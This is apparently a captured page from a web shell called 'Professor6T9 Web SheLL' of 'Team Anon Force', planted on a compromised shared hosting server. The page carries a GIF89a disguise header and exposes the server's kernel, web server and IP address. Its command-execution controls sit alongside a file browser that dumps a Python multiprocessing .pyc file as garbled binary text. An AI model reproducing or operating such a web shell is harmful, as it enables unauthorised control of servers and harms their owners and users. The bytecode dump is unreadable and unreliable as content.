GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
python38
/
lib64
/
python3.8
/
multiprocessing
/
__pycache__
[ HOME ]
Exec
Submit
File Name : synchronize.cpython-38.pyc
U i�fZ- � @ s, d dddddgZ ddlZddlZddlZddlZddlZdd lmZ dd lmZ ddlm Z zddlm Z mZ W n ek r� ed ��Y nX e ed��\ZZej jZG dd� de�Z G dd� de �ZG dd� de�ZG dd � d e �ZG dd� de �ZG dd� de�ZG dd� de�ZG dd� dej�ZdS )�Lock�RLock� Semaphore�BoundedSemaphore� Condition�Event� N� )�context)�process)�util)�SemLock� sem_unlinkz�This platform lacks a functioning sem_open implementation, therefore, the required synchronization primitives needed will not function, see issue 3770.� c @ s\ e Zd Ze�� Zdd� Zedd� �Zdd� Z dd� Z d d � Zdd� Zd d� Z edd� �ZdS )r c C s� |d krt j�� }|�� }tjdkp*|dk}td�D ]>}z t�|||| � � |� }| _ W n tk rl Y q4X q|q4td��t� d|j � | �� tjdkr�dd� } t�| | � | j jd k r�dd lm} | | j jd � tj| tj| j jfdd� d S ) N�win32�fork�d zcannot find name for semaphorezcreated semlock with handle %sc S s | j �� d S �N)�_semlock�_after_fork)�obj� r �@/opt/alt/python38/lib64/python3.8/multiprocessing/synchronize.pyr G s z%SemLock.__init__.<locals>._after_forkr )�register� semaphorer )Zexitpriority)r Z_default_contextZget_contextZget_start_method�sys�platform�range�_multiprocessingr � _make_namer �FileExistsErrorr �debug�handle� _make_methodsZregister_after_fork�name�resource_trackerr ZFinalize�_cleanup)�self�kind�value�maxvalue�ctxr# Z unlink_now�i�slr r r r r �__init__2 s8 � �zSemLock.__init__c C s"